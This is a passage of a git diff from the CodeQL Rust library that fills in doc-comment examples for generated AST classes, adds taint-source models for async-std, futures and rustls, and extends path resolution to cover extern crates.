* ``` * INTERNAL: Do not reference the `Generated::RetTypeRepr` class directly. * Use the subclass `RetTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll index e4c653da5d3..9b8a30c800a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll @@ -14,9 +14,22 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` * INTERNAL: Do not reference the `Generated::ReturnTypeSyntax` class directly. * Use the subclass `ReturnTypeSyntax`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll index 6d47596b7d7..176b4e699e4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::SliceTypeRepr` class directly. * Use the subclass `SliceTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll index 07b5f25fda0..64854b410ca 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.Item */ module Generated { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` * INTERNAL: Do not reference the `Generated::SourceFile` class directly. * Use the subclass `SourceFile`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll index 00475e87558..0fb3c627de2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Static` class directly. * Use the subclass `Static`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll index 1366eab7796..3460c239a9f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll @@ -17,9 +17,15 @@ import codeql.rust.elements.Stmt */ module Generated { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StmtList` class directly. * Use the subclass `StmtList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index 07521be8d69..6776d9a8007 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -23,7 +23,10 @@ module Generated { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` * INTERNAL: Do not reference the `Generated::Struct` class directly. * Use the subclass `Struct`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll index 8dfe65d5973..66ab2785d42 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.StructExprField */ module Generated { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructExprFieldList` class directly. * Use the subclass `StructExprFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll index cd392811e19..9650d4fd2c1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll @@ -19,9 +19,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructField` class directly. * Use the subclass `StructField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll index aabd886f6b7..624391a3da6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.StructField */ module Generated { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructFieldList` class directly. * Use the subclass `StructFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll index 2a2098f2721..46a5407626b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.StructPatField */ module Generated { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructPatFieldList` class directly. * Use the subclass `StructPatFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index 530f3e3199c..258a730ec64 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -14,9 +14,16 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll index d084fc36436..0ca44b1f577 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` * INTERNAL: Do not reference the `Generated::TraitAlias` class directly. * Use the subclass `TraitAlias`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll index e71c2c26b9e..f4c5bbf6e9b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TryExpr` class directly. * Use the subclass `TryExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll index e7dd183a171..43696098386 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleField` class directly. * Use the subclass `TupleField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll index 9b25d9a9316..56b1d505c3a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TupleField */ module Generated { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleFieldList` class directly. * Use the subclass `TupleFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll index 5929c019ff4..dead3a445e7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleTypeRepr` class directly. * Use the subclass `TupleTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll index da8742cd188..1b6b1c13219 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeArg` class directly. * Use the subclass `TypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll index 0667a931e45..c1e349511be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.UseBoundGenericArgs */ module Generated { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBound` class directly. * Use the subclass `TypeBound`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll index 2781ab89de0..e2fa4152d02 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBound */ module Generated { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBoundList` class directly. * Use the subclass `TypeBoundList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll index 0c7c71df4f4..5379ca78306 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TypeParam` class directly. * Use the subclass `TypeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index 3959835cde0..63f76703bcb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -21,9 +21,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` * INTERNAL: Do not reference the `Generated::Union` class directly. * Use the subclass `Union`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll index 2bc1364b790..ba3cc1de397 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll @@ -17,9 +17,9 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` * INTERNAL: Do not reference the `Generated::Use` class directly. * Use the subclass `Use`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll index b900f7e01d3..9ba10bdf876 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.UseBoundGenericArg */ module Generated { /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::UseBoundGenericArgs` class directly. * Use the subclass `UseBoundGenericArgs`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index 2f4e6019c12..7279c4e9c44 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index 9aa72b89a1e..bb21ec82936 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.UseTree */ module Generated { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index 75b83ea647e..93d4fc6a416 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll index a09fcb80e3d..e0ba8bfab15 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Variant */ module Generated { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::VariantList` class directly. * Use the subclass `VariantList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index ba397d4a5d2..340f53af63c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Path */ module Generated { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. * Use the subclass `Visibility`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll index 727af1be136..5b7080a7afa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.WherePred */ module Generated { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WhereClause` class directly. * Use the subclass `WhereClause`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll index 6e68c7a25a6..cd835e33850 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WherePred` class directly. * Use the subclass `WherePred`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll index fa4a4aee65c..b62e1256d61 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.LoopingExprImpl::Impl as LoopingExprImpl */ module Generated { /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` * INTERNAL: Do not reference the `Generated::WhileExpr` class directly. * Use the subclass `WhileExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml b/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml new file mode 100644 index 00000000000..2217c30fce3 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/async-rs.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/async-rs/async-std:async-std", "::connect", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml index 1361ff9aeb2..02f29d23494 100644 --- a/rust/ql/lib/codeql/rust/frameworks/futures.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/futures.model.yml @@ -4,3 +4,16 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/rust-lang/futures-rs:futures-executor", "crate::local_pool::block_on", "Argument[0]", "ReturnValue", "value", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncReadExt::read_to_end", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_line", "Argument[self].Reference", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::read_until", "Argument[self].Reference", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::fill_buf", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::io::AsyncBufReadExt::lines", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "crate::stream::stream::StreamExt::next", "Argument[self]", "ReturnValue.Future.Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/rust-lang/futures-rs:futures-util", "::poll_fill_buf", "Argument[self].Reference", "ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml new file mode 100644 index 00000000000..baa5615d458 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/rustls.model.yml @@ -0,0 +1,14 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rustls/rustls:rustls", "::new", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/quininer/futures-rustls:futures-rustls", "::connect", "Argument[1]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/quininer/futures-rustls:futures-rustls", "::poll_read", "Argument[self].Reference", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/rustls/rustls:rustls", "::reader", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/rustls/rustls:rustls", "::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Builtins.qll similarity index 100% rename from rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll rename to rust/ql/lib/codeql/rust/frameworks/stdlib/Builtins.qll diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index e7d9cac24e9..f8a65d9dcb9 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -49,3 +49,19 @@ class ResultEnum extends Enum { /** Gets the `Err` variant. */ Variant getErr() { result = this.getVariant("Err") } } + +/** + * The [`Future` trait][1]. + * + * [1]: https://doc.rust-lang.org/std/future/trait.Future.html + */ +class FutureTrait extends Trait { + FutureTrait() { this.getCanonicalPath() = "core::future::future::Future" } + + /** Gets the `Output` associated type. */ + pragma[nomagic] + TypeAlias getOutputType() { + result = this.getAssocItemList().getAnAssocItem() and + result.getName().getText() = "Output" + } +} diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index d23679ee81b..748fa0fa45d 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -5,6 +5,7 @@ private import rust private import codeql.rust.elements.internal.generated.ParentChild private import codeql.rust.internal.CachedStages +private import codeql.rust.frameworks.stdlib.Builtins as Builtins private newtype TNamespace = TTypeNamespace() or @@ -127,12 +128,25 @@ abstract class ItemNode extends Locatable { or crateDependencyEdge(this, name, result) or + externCrateEdge(this, name, result) + or // items made available through `use` are available to nodes that contain the `use` exists(UseItemNode use | use = this.getASuccessorRec(_) and result = use.(ItemNode).getASuccessorRec(name) ) or + exists(ExternCrateItemNode ec | result = ec.(ItemNode).getASuccessorRec(name) | + ec = this.getASuccessorRec(_) + or + // if the extern crate appears in the crate root, then the crate name is also added + // to the 'extern prelude', see https://doc.rust-lang.org/reference/items/extern-crates.html + exists(Crate c | + ec = c.getSourceFile().(ItemNode).getASuccessorRec(_) and + this = c.getASourceFile() + ) + ) + or // items made available through macro calls are available to nodes that contain the macro call exists(MacroCallItemNode call | call = this.getASuccessorRec(_) and @@ -165,6 +179,8 @@ abstract class ItemNode extends Locatable { or // type parameters have access to the associated items of its bounds result = this.(TypeParamItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode) + or + result = this.(ImplTraitTypeReprItemNode).resolveABound().getASuccessorRec(name).(AssocItemNode) } /** @@ -353,16 +369,33 @@ class CrateItemNode extends ItemNode instanceof Crate { override predicate providesCanonicalPathPrefixFor(Crate c, ItemNode child) { this.hasCanonicalPath(c) and - exists(ModuleLikeNode m | - child.getImmediateParent() = m and - not m = child.(SourceFileItemNode).getSuper() and - m = super.getSourceFile() + exists(SourceFileItemNode file | + child.getImmediateParent() = file and + not file = child.(SourceFileItemNode).getSuper() and + file = super.getSourceFile() ) + or + this.getName() = "core" and + child instanceof Builtins::BuiltinType } override string getCanonicalPath(Crate c) { c = this and result = Crate.super.getName() } } +class ExternCrateItemNode extends ItemNode instanceof ExternCrate { + override string getName() { result = super.getRename().getName().getText() } + + override Namespace getNamespace() { none() } + + override Visibility getVisibility() { none() } + + override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } +} + /** An item that can occur in a trait or an `impl` block. */ abstract private class AssocItemNode extends ItemNode, AssocItem { /** Holds if this associated item has an implementation. */ @@ -577,6 +610,9 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { result = this.resolveTraitTy().getCanonicalPath(c) } + pragma[nomagic] + private string getSelfCanonicalPath(Crate c) { result = this.resolveSelfTy().getCanonicalPath(c) } + pragma[nomagic] private string getCanonicalPathTraitPart(Crate c) { exists(Crate c2 | @@ -591,7 +627,7 @@ class ImplItemNode extends ImplOrTraitItemNode 